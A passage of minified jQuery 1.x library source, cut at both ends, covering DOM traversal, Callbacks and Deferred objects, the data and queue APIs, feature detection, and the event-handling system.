D=/^(?:parents|prev(?:Until|All))/,E={children:!0,contents:!0,next:!0,prev:!0};n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++)if(n.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=w.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.uniqueSort(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function F(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return u(a,"parentNode")},parentsUntil:function(a,b,c){return u(a,"parentNode",c)},next:function(a){return F(a,"nextSibling")},prev:function(a){return F(a,"previousSibling")},nextAll:function(a){return u(a,"nextSibling")},prevAll:function(a){return u(a,"previousSibling")},nextUntil:function(a,b,c){return u(a,"nextSibling",c)},prevUntil:function(a,b,c){return u(a,"previousSibling",c)},siblings:function(a){return v((a.parentNode||{}).firstChild,a)},children:function(a){return v(a.firstChild)},contents:function(a){return n.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(E[a]||(e=n.uniqueSort(e)),D.test(a)&&(e=e.reverse())),this.pushStack(e)}});var G=/\S+/g;function H(a){var b={};return n.each(a.match(G)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?H(a):n.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){n.each(b,function(b,c){n.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==n.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return n.each(arguments,function(a,b){var c;while((c=n.inArray(b,f,c))>-1)f.splice(c,1),h>=c&&h--}),this},has:function(a){return a?n.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=!0,c||j.disable(),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().progress(c.notify).done(c.resolve).fail(c.reject):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=e.call(arguments),d=c.length,f=1!==d||a&&n.isFunction(a.promise)?d:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(d){b[a]=this,c[a]=arguments.length>1?e.call(arguments):d,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(d>1)for(i=new Array(d),j=new Array(d),k=new Array(d);d>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().progress(h(b,j,i)).done(h(b,k,c)).fail(g.reject):--f;return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(d,[n]),n.fn.triggerHandler&&(n(d).triggerHandler("ready"),n(d).off("ready"))))}});function J(){d.addEventListener?(d.removeEventListener("DOMContentLoaded",K),a.removeEventListener("load",K)):(d.detachEvent("onreadystatechange",K),a.detachEvent("onload",K))}function K(){(d.addEventListener||"load"===a.event.type||"complete"===d.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I)if(I=n.Deferred(),"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll)a.setTimeout(n.ready);else if(d.addEventListener)d.addEventListener("DOMContentLoaded",K),a.addEventListener("load",K);else{d.attachEvent("onreadystatechange",K),a.attachEvent("onload",K);var c=!1;try{c=null==a.frameElement&&d.documentElement}catch(e){}c&&c.doScroll&&!function f(){if(!n.isReady){try{c.doScroll("left")}catch(b){return a.setTimeout(f,50)}J(),n.ready()}}()}return I.promise(b)},n.ready.promise();var L;for(L in n(l))break;l.ownFirst="0"===L,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c,e;c=d.getElementsByTagName("body")[0],c&&c.style&&(b=d.createElement("div"),e=d.createElement("div"),e.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(e).appendChild(b),"undefined"!=typeof b.style.zoom&&(b.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",l.inlineBlockNeedsLayout=a=3===b.offsetWidth,a&&(c.style.zoom=1)),c.removeChild(e))}),function(){var a=d.createElement("div");l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}a=null}();var M=function(a){var b=n.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b},N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(O,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else c=void 0;
  3. }return c}function Q(a){var b;for(b in a)if(("data"!==b||!n.isEmptyObject(a[b]))&&"toJSON"!==b)return!1;return!0}function R(a,b,d,e){if(M(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b)return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),"object"!=typeof b&&"function"!=typeof b||(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}function S(a,b,c){if(M(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--)delete d[b[e]];if(c?!Q(d):!n.isEmptyObject(d))return}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=void 0)}}}n.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,"parsedAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));n._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks("once memory").add(function(){n._removeData(a,b+"queue"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?n.queue(this[0],a):void 0===b?this:this.each(function(){var c=n.queue(this,a,b);n._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&n.dequeue(this,a)})},dequeue:function(a){return this.each(function(){n.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=n.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=n._data(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}}),function(){var a;l.shrinkWrapBlocks=function(){if(null!=a)return a;a=!1;var b,c,e;return c=d.getElementsByTagName("body")[0],c&&c.style?(b=d.createElement("div"),e=d.createElement("div"),e.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(e).appendChild(b),"undefined"!=typeof b.style.zoom&&(b.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1",b.appendChild(d.createElement("div")).style.width="5px",a=3!==b.offsetWidth),c.removeChild(e),a):void 0}}();var T=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,U=new RegExp("^(?:([+-])=|)("+T+")([a-z%]*)$","i"),V=["Top","Right","Bottom","Left"],W=function(a,b){return a=b||a,"none"===n.css(a,"display")||!n.contains(a.ownerDocument,a)};function X(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return n.css(a,b,"")},i=h(),j=c&&c[3]||(n.cssNumber[b]?"":"px"),k=(n.cssNumber[b]||"px"!==j&&+i)&&U.exec(n.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,n.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var Y=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)Y(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},Z=/^(?:checkbox|radio)$/i,$=/<([\w:-]+)/,_=/^$|\/(?:java|ecma)script/i,aa=/^\s+/,ba="abbr|article|aside|audio|bdi|canvas|data|datalist|details|dialog|figcaption|figure|footer|header|hgroup|main|mark|meter|nav|output|picture|progress|section|summary|template|time|video";function ca(a){var b=ba.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}!function(){var a=d.createElement("div"),b=d.createDocumentFragment(),c=d.createElement("input");a.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",l.leadingWhitespace=3===a.firstChild.nodeType,l.tbody=!a.getElementsByTagName("tbody").length,l.htmlSerialize=!!a.getElementsByTagName("link").length,l.html5Clone="<:nav></:nav>"!==d.createElement("nav").cloneNode(!0).outerHTML,c.type="checkbox",c.checked=!0,b.appendChild(c),l.appendChecked=c.checked,a.innerHTML="<textarea>x</textarea>",l.noCloneChecked=!!a.cloneNode(!0).lastChild.defaultValue,b.appendChild(a),c=d.createElement("input"),c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),a.appendChild(c),l.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!!a.addEventListener,a[n.expando]=1,l.attributes=!a.getAttribute(n.expando)}();var da={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:l.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]};da.optgroup=da.option,da.tbody=da.tfoot=da.colgroup=da.caption=da.thead,da.th=da.td;function ea(a,b){var c,d,e=0,f="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||n.nodeName(d,b)?f.push(d):n.merge(f,ea(d,b));return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function fa(a,b){for(var c,d=0;null!=(c=a[d]);d++)n._data(c,"globalEval",!b||n._data(b[d],"globalEval"))}var ga=/<|&#?\w+;/,ha=/<tbody/i;function ia(a){Z.test(a.type)&&(a.defaultChecked=a.checked)}function ja(a,b,c,d,e){for(var f,g,h,i,j,k,m,o=a.length,p=ca(b),q=[],r=0;o>r;r++)if(g=a[r],g||0===g)if("object"===n.type(g))n.merge(q,g.nodeType?[g]:g);else if(ga.test(g)){i=i||p.appendChild(b.createElement("div")),j=($.exec(g)||["",""])[1].toLowerCase(),m=da[j]||da._default,i.innerHTML=m[1]+n.htmlPrefilter(g)+m[2],f=m[0];while(f--)i=i.lastChild;if(!l.leadingWhitespace&&aa.test(g)&&q.push(b.createTextNode(aa.exec(g)[0])),!l.tbody){g="table"!==j||ha.test(g)?"<table>"!==m[1]||ha.test(g)?0:i:i.firstChild,f=g&&g.childNodes.length;while(f--)n.nodeName(k=g.childNodes[f],"tbody")&&!k.childNodes.length&&g.removeChild(k)}n.merge(q,i.childNodes),i.textContent="";while(i.firstChild)i.removeChild(i.firstChild);i=p.lastChild}else q.push(b.createTextNode(g));i&&p.removeChild(i),l.appendChecked||n.grep(ea(q,"input"),ia),r=0;while(g=q[r++])if(d&&n.inArray(g,d)>-1)e&&e.push(g);else if(h=n.contains(g.ownerDocument,g),i=ea(p.appendChild(g),"script"),h&&fa(i),c){f=0;while(g=i[f++])_.test(g.type||"")&&c.push(g)}return i=null,p}!function(){var b,c,e=d.createElement("div");for(b in{submit:!0,change:!0,focusin:!0})c="on"+b,(l[b]=c in a)||(e.setAttribute(c,"t"),l[b]=e.attributes[c].expando===!1);e=null}();var ka=/^(?:input|select|textarea)$/i,la=/^key/,ma=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,na=/^(?:focusinfocus|focusoutblur)$/,oa=/^([^.]*)(?:\.(.+)|)/;function pa(){return!0}function qa(){return!1}function ra(){try{return d.activeElement}catch(a){}}function sa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)sa(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=qa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return n().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=n.guid++)),a.each(function(){n.event.add(this,b,e,d,c)})}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return"undefined"==typeof n||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(G)||[""],h=b.length;while(h--)f=oa.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||"").match(G)||[""],j=b.length;while(j--)if(h=oa.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=m.length;while(f--)g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g));i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,"events"))}},trigger:function(b,c,e,f){var g,h,i,j,l,m,o,p=[e||d],q=k.call(b,"type")?b.type:b,r=k.call(b,"namespace")?b.namespace.split("."):[];if(i=m=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!na.test(q+n.event.triggered)&&(q.indexOf(".")>-1&&(r=q.split("."),q=r.shift(),r.sort()),h=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=r.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:n.makeArray(c,[b]),l=n.event.special[q]||{},f||!l.trigger||l.trigger.apply(e,c)!==!1)){if(!f&&!l.noBubble&&!n.isWindow(e)){for(j=l.delegateType||q,na.test(j+q)||(i=i.parentNode);i;i=i.parentNode)p.push(i),m=i;m===(e.ownerDocument||d)&&p.push(m.defaultView||m.parentWindow||a)}o=0;while((i=p[o++])&&!b.isPropagationStopped())b.type=o>1?j:l.bindType||q,g=(n._data(i,"events")||{})[b.type]&&n._data(i,"handle"),g&&g.apply(i,c),g=h&&i[h],g&&g.apply&&M(i)&&(b.result=g.apply(i,c),b.result===!1&&b.preventDefault());if(b.type=q,!f&&!b.isDefaultPrevented()&&(!l._default||l._default.apply(p.pop(),c)===!1)&&M(e)&&h&&e[q]&&!n.isWindow(e)){m=e[h],m&&(e[h]=null),n.event.triggered=q;try{e[q]()}catch(s){}n.event.triggered=void 0,m&&(e[h]=m)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,d,f,g,h=[],i=e.call(arguments),j=(n._data(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())a.rnamespace&&!a.rnamespace.test(g.namespace)||(a.handleObj=g,a.data=g.data,d=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==d&&(a.result=d)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&("click"!==a.type||isNaN(a.button)||a.button<1))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>-1:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h<b.length&&g.push({elem:this,handlers:b.slice(h)}),g},fix:function(a){if(a[n.expando])return a;var b,c,e,f=a.type,g=a,h=this.fixHooks[f];h||(this.fixHooks[f]=h=ma.test(f)?this.mouseHooks:la.test(f)?this.keyHooks:{}),e=h.props?this.props.concat(h.props):this.props,a=new n.Event(g),b=e.length;while(b--)c=e[b],a[c]=g[c];return a.target||(a.target=g.srcElement||d),3===a.target.nodeType&&(a.target=a.target.parentNode),a.metaKey=!!a.metaKey,h.filter?h.filter(a,g):a},props:"altKey bubbles cancelable ctrlKey currentTarget detail eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){return null==a.which&&(a.which=null!=b.charCode?b.charCode:b.keyCode),a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,b){var c,e,f,g=b.button,h=b.fromElement;return null==a.pageX&&null!=b.clientX&&(e=a.target.ownerDocument||d,f=e.documentElement,c=e.body,a.pageX=b.clientX+(f&&f.scrollLeft||c&&c.scrollLeft||0)-(f&&f.clientLeft||c&&c.clientLeft||0),a.pageY=b.clientY+(f&&f.scrollTop||c&&c.scrollTop||0)-(f&&f.clientTop||c&&c.clientTop||0)),!a.relatedTarget&&h&&(a.relatedTarget=h===a.target?b.toElement:h),a.which||void 0===g||(a.which=1&g?1:2&g?3:4&g?2:0),a}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==ra()&&this.focus)try{return this.focus(),!1}catch(a){}},delegateType:"focusin"},blur:{trigger:function(){return this===ra()&&this.blur?(this.blur(),!1):void 0},delegateType:"focusout"},click:{trigger:function(){return n.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):void 0},_default:function(a){return n.nodeName(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}},simulate:function(a,b,c){var d=n.extend(new n.Event,c,{type:a,isSimulated:!0});n.event.trigger(d,null,b),d.isDefaultPrevented()&&c.preventDefault()}},n.removeEvent=d.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)}:function(a,b,c){var d="on"+b;a.detachEvent&&("undefined"==typeof a[d]&&(a[d]=null),a.detachEvent(d,c))},n.Event=function(a,b){return this instanceof n.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?pa:qa):this.type=a,b&&n.extend(this,b),this.timeStamp=a&&a.timeStamp||n.now(),void(this[n.expando]=!0)):new n.Event(a,b)},n.Event.prototype={constructor:n.Event,isDefaultPrevented:qa,isPropagationStopped:qa,isImmediatePropagationStopped:qa,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=pa,a&&(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=pa,a&&!this.isSimulated&&(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=pa,a&&a.stopImmediatePropagation&&a.stopImmediatePropagation(),this.stopPropagation()}},n.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){n.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||n.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),l.submit||(n.event.special.submit={setup:function(){return n.nodeName(this,"form")?!1:void n.event.add(this,"click._submit keypress._submit",function(a){var b=a.target,c=n.nodeName(b,"input")||n.nodeName(b,"button")?n.prop(b,"form"):void 0;c&&!n._data(c,"submit")&&(n.event.add(c,"submit._submit",function(a){a._submitBubble=!0}),n._data(c,"submit",!0))})},postDispatch:function(a){a._submitBubble&&(delete a._submitBubble,this.parentNode&&!a.isTrigger&&n.event.simulate("submit",this.parentNode,a))},teardown:function(){return n.nodeName(this,"form")?!1:void n.event.remove(this,"._submit")}}),l.change||(n.event.special.change={setup:function(){return ka.test(this.nodeName)?("checkbox"!==this.type&&"radio"!==this.type||(n.event.add(this,"propertychange._change",function(a){"checked"===a.originalEvent.propertyName&&(this._justChanged=!0)}),n.event.add(this,"click._change",function(a){this._justChanged&&!a.isTrigger&&(this._justChanged=!1),n.event.simulate("change",this,a)})),!1):void n.event.add(this,"beforeactivate._change",function(a){var b=a.target;ka.test(b.nodeName)&&!n._data(b,"change")&&(n.event.add(b,"change._change",function(a){!this.parentNode||a.isSimulated||a.isTrigger||n.event.simulate("change",this.parentNode,a)}),n._data(b,"change",!0))})},handle:function(a){var b=a.target;return this!==b||a.isSimulated||a.isTrigger||"radio"!==b.type&&"checkbox"!==b.type?a.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return n.event.remove(this,"._change"),!ka.test(this.nodeName)}}),l.focusin||n.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){n.event.simulate(b,a.target,n.event.fix(a))};n.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=n._data(d,b);e||d.addEventListener(a,c,!0),n._data(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=n._data(d,b)-1;e?n._data(d,b,e):(d.removeEventListener(a,c,!0),n._removeData(d,b))}}}),n.fn.extend({on:function(a,b,c,d){return sa(this,a,b,c,d)},one:function(a,b,c,d){return sa(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,n(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=qa),this.each(function(){n.event.remove(this,a,c,b)})},trigger:function(a,b){return this.each(function(){n.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];return c?n.event.trigger(a,b,c,!0):void 0}});var ta=/ jQuery\d+="(?:null|\d+)"/g,ua=new RegExp("<(?:"+ba+")[\\s/>]","i"),va=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,wa=/<script|<style|<link/i,xa=/checked\s*(?:[^=]|=\s*.checked.)/i,ya=/^true\/(.*)/,za=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,Aa=ca(d),Ba=Aa.appendChild(d.createElement("div"));function Ca(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function Da(a){return a.type=(null!==n.find.attr(a,"type"))+"/"+a.type,a}function Ea(a){var b=ya.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Fa(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)n.event.add(b,c,h[c][d])}g.data&&(g.data=n.extend({},g.data))}}function Ga(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in 